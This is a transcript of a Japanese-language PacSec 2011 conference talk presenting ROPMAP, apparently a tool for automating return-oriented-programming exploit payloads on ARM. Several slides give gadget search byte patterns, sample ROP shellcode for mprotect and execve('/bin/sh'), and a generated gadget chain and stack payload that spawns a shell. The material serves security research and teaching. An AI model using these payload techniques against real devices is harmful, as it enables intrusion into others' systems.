1 / 44

ARM 攻略の ROPMAP

ARM 攻略の ROPMAP. Long Le – Thanh Nguyen {longld, thanh }@ vnsecurity.net. PacSec 2011. 最初に自己紹介. VNSECURITY.NET CLGT CTF チーム 免責事項:ここで紹介する見解と研究は、 VNSECURITY の研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません. きっかけ. 公開されている ARM ROP が無い objdump / otool + grep シェルコード・ペイロードはハードコードされて い る

kibo-lucas
Télécharger la présentation

ARM 攻略の ROPMAP

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. ARM 攻略のROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

  2. 最初に自己紹介 • VNSECURITY.NET • CLGT CTF チーム 免責事項:ここで紹介する見解と研究は、VNSECURITYの研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません ARM EXPLOITATION ROPMAP

  3. きっかけ • 公開されているARM ROPが無い • objdump/otool+ grep • シェルコード・ペイロードはハードコードされている • 簡単なガジェットが複雑なオートメーションを打ち負かせる • comex’sjailbreakme ARM EXPLOITATION ROPMAP

  4. 本セッションの内容 • X86 ROPツールキットをARMに拡張 • ROPシェルコードのための中間言語 • ARM用のROP自動化の実装 • ガジェット・チェーンに対してROPシェルコード • ペイロードに対してガジェット・チェーン ARM EXPLOITATION ROPMAP

  5. プレゼン終了後には・・・ ARM EXPLOITATION ROPMAP

  6. ROPツールキットをARMに拡張 ARM EXPLOITATION ROPMAP

  7. X86からARMへ:レジスタ ARM EXPLOITATION ROPMAP

  8. X86からARMへ:アセンブリ ARM EXPLOITATION ROPMAP

  9. X86からARMへ:シェルコード ARM EXPLOITATION ROPMAP

  10. X86からARMへ:ROP ガジェット ARM EXPLOITATION ROPMAP

  11. ガジェットの検出 • 「RET」を検索 • pop {…, pc} • “.\x80\xbd\xe8” (ARM) • “.\xbd” (THUMB) • bx Rm / blxRm • “.\xff\x2f\xe1” (ARM) • “.\x47” (THUMB) • 後ろ方向にディスアセンブル • 2バイトから4バイトおきに • 自身のARMディスアセンブリライブラリを使用してみる ARM EXPLOITATION ROPMAP

  12. クイック・デモ ARM EXPLOITATION ROPMAP

  13. ROPシェルコードのための中間言語 ARM EXPLOITATION ROPMAP

  14. ROPシェルコード • 一般的なペイロード • ライブラリ・コールを連続実行 • DEP/NXを無効化 • 通常のシェルコードを転送・実行 • 一般的なオペレーション • レジスタの割当 • データの異動 • 関数呼び出しかsyscallを実行 source: comex’s star_ framework ARM EXPLOITATION ROPMAP

  15. ROP中間言語 • 簡単な疑似アセンブルコード • 6つの命令 • ネイティブ・レジスタ • 読み出し・書き込み・実装が容易 ARM EXPLOITATION ROPMAP

  16. ROP IL 命令 LHS RHS • ROP命令 • LOAD • STORE • ADJUST • CALL • SYSCALL • NOP • LHS/RHSタイプ • REG:レジスタ • VAL: 値 • REF:レジスタの参照先 • MEM:メモリの参照先 • NON ARM EXPLOITATION ROPMAP

  17. ROP IL:ロード • レジスタに値をロード ARM EXPLOITATION ROPMAP

  18. ROP IL:格納 • レジスタに値を格納 ARM EXPLOITATION ROPMAP

  19. ROP IL:調整 • レジスタの値に加減算を行う ARM EXPLOITATION ROPMAP

  20. ROP IL:呼び出し • 関数を呼び出す・関数にジャンプする ARM EXPLOITATION ROPMAP

  21. ROP IL:システムコール • システムコール ARM EXPLOITATION ROPMAP

  22. シェルコードのサンプル(1) • mprotect(writable, size, flag) • LOAD r0, #writable • LOAD r1, #size • LOAD r2, #flag • LOAD r7, #0x7d • SYSCALL • execve(“/bin/sh”, 0, 0): known “/bin/sh” address • LOAD r0, #binsh_address • LOAD r1, #0 • LOAD r2, #0 • LOAD r7, #0xb • SYSCALL ARM EXPLOITATION ROPMAP

  23. シェルコードのサンプル(2) • execve(“/bin/sh”, 0, 0): use known writable data region to store “/bin/sh” • STORE [#writable], #0x6e69622f ; “/bin” • STORE [#writable+0x4], #0x68732f ; “/sh” • LOAD r0, #writable • LOAD r1, #0 • LOAD r2, #0 • LOAD r7, #0xb • SYSCALL ARM EXPLOITATION ROPMAP

  24. 高級ラッパーの例(1) • syscall(sysnum, *args) • LOAD r0, #arg1 • LOAD r1, #arg2 • LOAD r2, #arg3 • LOAD r3, #arg4 • LOAD r4, #arg5 • LOAD r5, #arg6 • LOAD r7, #sysnum • SYSCALL ARM EXPLOITATION ROPMAP

  25. 高級ラッパーの例(2) • funcall(address, *args) • LOAD r0, #arg1 • LOAD r1, #arg2 • LOAD r2, #arg3 • LOAD r3, #arg4 • $arg5 • … • CALL #address ARM EXPLOITATION ROPMAP

  26. 高級ラッパーの例(3) • save_result(target) • STORE [#target], r0 • write4_with_offset(reference, value, offset) • LOAD r0, [#reference] • ADJUST r0, #offset • STORE [r0], #value ARM EXPLOITATION ROPMAP

  27. ROPMAPの実装 ARM EXPLOITATION ROPMAP

  28. ROPの自動化 • 自動化は手間がかかる • 命令の関数化 • SMT/STPソルバ • 既存のツールキット • DEPLib • ミニ ASM 言語 • ARMはサポートしていない • Roppery (WOLF) • REIL • 公になっていない ARM EXPLOITATION ROPMAP

  29. ropmap • ROPMAP • ROP命令をASMガジェットに直接マッピング • LHS/RHSタイプはASMガジェットで使用可能 • Primitiveガジェット • CHAINMAP • ROP命令を間接的にROPチェインにマッピング • LHS/RHSタイプはASMガジェットで使用不能 • ガジェットを検索・連結するためのエンジン • ペイロードを生成 ARM EXPLOITATION ROPMAP

  30. ROPMAPサンプル:ロード mov Rm, #value mov Rm, Rn pop {Rm, …, pc} add Rm, Rn LOAD Rm, #value LOAD Rm, Rn ldr Rm, [sp …] sub Rm, Rn LOAD Rm, [Rn] ldr Rm, [Rn …] LOAD Rn, #addr LOAD Rm, [Rn] LOAD Rm, [#addr] ARM EXPLOITATION ROPMAP

  31. ROPMAPサンプル:格納 STORE [Rm], Rn str Rn, [Rm …] LOAD Rn, #value STORE [Rm], Rn STORE [Rm], #value LOAD Rn, [#addr] STORE [Rm], Rn STORE [Rm], [#addr] LOAD Rn, [#target] STORE [Rn], Rm STORE [#target], Rm LOAD Rm, #value STORE [#target], Rm STORE [#target], #value LOAD Rn, [#addr] STORE [#target], Rn STORE [#target], [#addr] ARM EXPLOITATION ROPMAP

  32. アセンブラ・円にjん • 前提 • バイナリは十分なPrimitiveガジェットを持っている • Primitiveガジェットを繋げる方が複雑なガジェットを見つけるよりも簡単 • アプローチ • ガジェット候補を探す • ガジェットをソートする(簡単なスコアリング) • ペアマッチングでガジェットを連結 • LHS 対 RHS • LHS 対 LHS • 基本的な検証ルールを適用 • 値を突合 • レジスタをチェック ARM EXPLOITATION ROPMAP

  33. ペアを突合 pop {r4 pc} MATCHED MATCHED MATCHED ldr r0 [r4 #4] ; pop {r4 r5 r6 r7 pc} STORE [#target], [#addr] pop {r4 pc} str r0 [r4 #16] ; mov r0 r3 ; pop {r1 r2 r3 r4 r5 pc} ARM EXPLOITATION ROPMAP

  34. ガジェット検証 ldr r6 [r5 #4] ; sub r0 r0 r6 ; pop {r4 r5 r6 pc} LOAD r6, [r5] TAINTED TAINTED ldr r1 [r5 #36] ; ldr r5 [r4 #36] ; sub r0 r1 r5 ; add sp sp #36 ; pop {r4 r5 r6 r7 pc} STORE [r1], [r5] ARM EXPLOITATION ROPMAP

  35. ROPシェルコードからガジェット・チェーンまでROPシェルコードからガジェット・チェーンまで • execve(“/bin/sh”, 0, 0) # ROP code: load r0, #0xdeadbeef --------------------------------------------------------------------0xdc68L : pop {r0 pc} ;; --------------------------------------------------------------------# ROP code: load r1, #0 ------------------------------------------------------------------- 0x16a6dL : pop {r1 r7 pc} ;; -------------------------------------------------------------------- # ROP code: load r2, #0 -------------------------------------------------------------------- 0x30629L : pop {r2 r3 r6 pc} ;; --------------------------------------------------------------------# ROP code: load r7, #0xb --------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;; --------------------------------------------------------------------# ROP code: syscall --------------------------------------------------------------------0xc734L : svc 0x00000000 ; pop {r4 r7} ; bx lr ;; -------------------------------------------------------------------- ARM EXPLOITATION ROPMAP

  36. ペイロード生成(1) • 入力 • ROP IL命令 • ガジェット • 定数 • 制約と値を結合 • 出力 • スタック・レイアウト • 出力値は高級ROPラッパーに使用可能 • サイズ最適化は行わない ARM EXPLOITATION ROPMAP

  37. ペイロード生成(2) • アプローチ • ガジェット・エミュレーション • スタック関連の操作をエミュレート • スタック位置に必要な値を再書き込み • LHS/RHS リバース・マッチング • 簡単な数学的演算 • 次の命令へのバインディング値をフィードバック ARM EXPLOITATION ROPMAP

  38. リバース・マッチング r4 = #address - 4 MATCHED (1) MATCHED (2) pop {r4 pc} LOAD r0, [#address] ldr r0 [r4#4] ; pop {r4 r5 r6 r7 pc} r4 = #address - 4 ARM EXPLOITATION ROPMAP

  39. ガジェット・エミュレーション • 単一のガジェット • スタック関係のオペレーションのみ JUNK+4 uninitialized registers JUNK+3 SP = SP+3 JUNK+2 JUNK+2 SP r7 = JUNK+2 JUNK+1 JUNK+1 r3 = JUNK+1 JUNK JUNK r2 = JUNK SP Execute pop {r2 r3 r7 pc} ;; Init state r2 = 0x0 r7 = 0xb value constraints ARM EXPLOITATION ROPMAP

  40. スタックへの再書き込み • ペイロード=スタック上の値 SP SP = SP+3 0xb JUNK+2 SP r7 = JUNK+2 JUNK+1 JUNK+1 r3 = JUNK+1 pop {r2 r3 r7 pc} ;; 0x0 JUNK Payload r2 = JUNK r2 = 0x0 r7 = 0xb Write back ARM EXPLOITATION ROPMAP

  41. アウトプット・ペイロード • execve(“/bin/sh”, 0, 0) # ROP code: load r0, #0xdeadbeef # pop {r0 pc} [ BASE+0x2d38, 0xdeadbeef ] # ------------------------------------------------------------------ # ROP code: load r1, #0 # pop {r1 r7 pc} [ BASE+0xbb3d, 0x0, 0x4b4e554b ] # ------------------------------------------------------------------ # ROP code: load r2, #0 # pop {r2 r3 r6 pc} [ BASE+0x256f9, 0x0, 0x4b4e554b, 0x4b4e554c ] # ------------------------------------------------------------------ # ROP code: load r7 # pop {r1 r7 pc} [ BASE+0xbb3d, 0x0, 0xb ] # ------------------------------------------------------------------ # ROP code: syscall # svc 0x00000000 ; pop {r4 r7} ; bx lr [ BASE+0x1804, 0x4b4e554a, 0xb ] # ------------------------------------------------------------------ ARM EXPLOITATION ROPMAP

  42. デモ ARM EXPLOITATION ROPMAP

  43. 今後の計画 • アウトプット・ペイロードの最適化 • 重複の減少 • ARM Thumb-2をサポート • より多くのガジェットが使用可能 • x86/x86_64へ拡張(現在は一部のみ) • 条件付きのジャンプ・ループ命令 ARM EXPLOITATION ROPMAP

  44. ご清聴ありがとうございました。ご質問をどうぞご清聴ありがとうございました。ご質問をどうぞ ARM EXPLOITATION ROPMAP

More Related